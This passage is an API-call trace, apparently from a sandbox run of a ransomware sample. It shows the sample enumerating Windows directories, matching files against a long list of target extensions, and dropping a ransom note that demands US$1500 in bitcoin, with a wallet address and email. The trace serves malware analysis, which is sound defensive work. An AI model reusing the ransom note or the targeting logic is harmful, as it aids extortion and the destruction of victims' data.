(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.lay6") returned 0 [0112.402] lstrlenA (lpString="*.lay6") returned 6 [0112.402] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.mpeg") returned 0 [0112.403] lstrlenA (lpString="*.mpeg") returned 6 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.djvu") returned 0 [0112.403] lstrlenA (lpString="*.djvu") returned 6 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.tiff") returned 0 [0112.403] lstrlenA (lpString="*.tiff") returned 6 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.backup") returned 0 [0112.403] lstrlenA (lpString="*.backup") returned 8 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.pdf") returned 0 [0112.403] lstrlenA (lpString="*.pdf") returned 5 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.cert") returned 0 [0112.403] lstrlenA (lpString="*.cert") returned 6 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.docm") returned 0 [0112.403] lstrlenA (lpString="*.docm") returned 6 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.xlsm") returned 0 [0112.403] lstrlenA (lpString="*.xlsm") returned 6 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.dwg") returned 0 [0112.403] lstrlenA (lpString="*.dwg") returned 5 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.nd") returned 0 [0112.403] lstrlenA (lpString="*.nd") returned 4 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.tlg") returned 0 [0112.403] lstrlenA (lpString="*.tlg") returned 5 [0112.403] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.lgb") returned 0 [0112.404] lstrlenA (lpString="*.lgb") returned 5 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.mov") returned 0 [0112.404] lstrlenA (lpString="*.mov") returned 5 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.xdw") returned 0 [0112.404] lstrlenA (lpString="*.xdw") returned 5 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.ods") returned 0 [0112.404] lstrlenA (lpString="*.ods") returned 5 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.wav") returned 0 [0112.404] lstrlenA (lpString="*.wav") returned 5 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.mp3") returned 0 [0112.404] lstrlenA (lpString="*.mp3") returned 5 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.aiff") returned 0 [0112.404] lstrlenA (lpString="*.aiff") returned 6 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.flac") returned 0 [0112.404] lstrlenA (lpString="*.flac") returned 6 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.m4a") returned 0 [0112.404] lstrlenA (lpString="*.m4a") returned 5 [0112.404] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\fcf35536476614410e0b0bd0e412199e\\System.Configuration.Install.ni.dll", pszSpec="*.csv") returned 0 [0112.404] lstrlenA (lpString="*.csv") returned 5 [0112.404] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb00767b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00767b3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00767b3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.Install.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.405] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.405] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00e8bd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00e8bd4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="fcf35536476614410e0b0bd0e412199e", cAlternateFileName="FCF355~1")) returned 0 [0112.405] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.405] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56a27a29, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x56a27a29, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Configuration", cAlternateFileName="SYSTEM~1.CON")) returned 1 [0112.405] lstrcmpA (lpString1=".", lpString2="System.Configuration") returned -1 [0112.405] lstrcmpA (lpString1="..", lpString2="System.Configuration") returned -1 [0112.405] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.405] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Configuration" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration" [0112.405] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration") returned 67 [0112.405] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56a27a29, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x56a27a29, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.406] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.406] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56a27a29, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x56a27a29, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.406] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.406] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.406] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56a27a29, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x56a27a29, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="091b931d0f6408001747dbbbb05dbe66", cAlternateFileName="091B93~1")) returned 1 [0112.406] lstrcmpA (lpString1=".", lpString2="091b931d0f6408001747dbbbb05dbe66") returned -1 [0112.406] lstrcmpA (lpString1="..", lpString2="091b931d0f6408001747dbbbb05dbe66") returned -1 [0112.406] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\*.*") returned="*.*" [0112.406] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\", lpString2="091b931d0f6408001747dbbbb05dbe66" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66" [0112.406] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66") returned 100 [0112.406] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56a27a29, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x56a27a29, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.406] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.406] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56a27a29, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56a27a29, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x56a27a29, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.407] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.407] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.407] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x569b5608, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x569b5608, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x569db768, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x13f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Configuration.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.407] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.407] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Configuration.ni.dll") returned -1 [0112.407] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Configuration.ni.dll") returned -1 [0112.407] lstrcmpiA (lpString1="", lpString2="System.Configuration.ni.dll") returned -1 [0112.407] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\*.*") returned="*.*" [0112.407] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\" [0112.407] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\") returned="" [0112.407] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\HOW TO DECRYPT FILES.txt" [0112.407] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\how to decrypt files.txt")) returned 0xffffffff [0112.407] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.configuration\\091b931d0f6408001747dbbbb05dbe66\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.408] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.408] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.410] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.410] CloseHandle (hObject=0x90) returned 1 [0112.410] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\", lpString2="System.Configuration.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll" [0112.410] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.ems") returned 0 [0112.410] lstrlenA (lpString="*.ems") returned 5 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.db") returned 0 [0112.411] lstrlenA (lpString="*.db") returned 4 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.dbf") returned 0 [0112.411] lstrlenA (lpString="*.dbf") returned 5 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.myox") returned 0 [0112.411] lstrlenA (lpString="*.myox") returned 6 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.myo") returned 0 [0112.411] lstrlenA (lpString="*.myo") returned 5 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qbw") returned 0 [0112.411] lstrlenA (lpString="*.qbw") returned 5 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qbb") returned 0 [0112.411] lstrlenA (lpString="*.qbb") returned 5 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qbm") returned 0 [0112.411] lstrlenA (lpString="*.qbm") returned 5 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qbo") returned 0 [0112.411] lstrlenA (lpString="*.qbo") returned 5 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qbx") returned 0 [0112.411] lstrlenA (lpString="*.qbx") returned 5 [0112.411] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qba") returned 0 [0112.411] lstrlenA (lpString="*.qba") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qby") returned 0 [0112.412] lstrlenA (lpString="*.qby") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qbj") returned 0 [0112.412] lstrlenA (lpString="*.qbj") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.ofx") returned 0 [0112.412] lstrlenA (lpString="*.ofx") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.qif") returned 0 [0112.412] lstrlenA (lpString="*.qif") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.mye") returned 0 [0112.412] lstrlenA (lpString="*.mye") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.mbox") returned 0 [0112.412] lstrlenA (lpString="*.mbox") returned 6 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.eml") returned 0 [0112.412] lstrlenA (lpString="*.eml") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.pst") returned 0 [0112.412] lstrlenA (lpString="*.pst") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.ost") returned 0 [0112.412] lstrlenA (lpString="*.ost") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.idx") returned 0 [0112.412] lstrlenA (lpString="*.idx") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.dbx") returned 0 [0112.412] lstrlenA (lpString="*.dbx") returned 5 [0112.412] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.sql") returned 0 [0112.412] lstrlenA (lpString="*.sql") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.mdb") returned 0 [0112.413] lstrlenA (lpString="*.mdb") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.fdb") returned 0 [0112.413] lstrlenA (lpString="*.fdb") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.wab") returned 0 [0112.413] lstrlenA (lpString="*.wab") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.dat") returned 0 [0112.413] lstrlenA (lpString="*.dat") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.txt") returned 0 [0112.413] lstrlenA (lpString="*.txt") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.jpeg") returned 0 [0112.413] lstrlenA (lpString="*.jpeg") returned 6 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.jpg") returned 0 [0112.413] lstrlenA (lpString="*.jpg") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.png") returned 0 [0112.413] lstrlenA (lpString="*.png") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.php") returned 0 [0112.413] lstrlenA (lpString="*.php") returned 5 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.cs") returned 0 [0112.413] lstrlenA (lpString="*.cs") returned 4 [0112.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.cpp") returned 0 [0112.414] lstrlenA (lpString="*.cpp") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.rar") returned 0 [0112.414] lstrlenA (lpString="*.rar") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.zip") returned 0 [0112.414] lstrlenA (lpString="*.zip") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.html") returned 0 [0112.414] lstrlenA (lpString="*.html") returned 6 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.htm") returned 0 [0112.414] lstrlenA (lpString="*.htm") returned 5 [0112.414] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuration\\091b931d0f6408001747dbbbb05dbe66\\System.Configuration.ni.dll", pszSpec="*.xlsx") 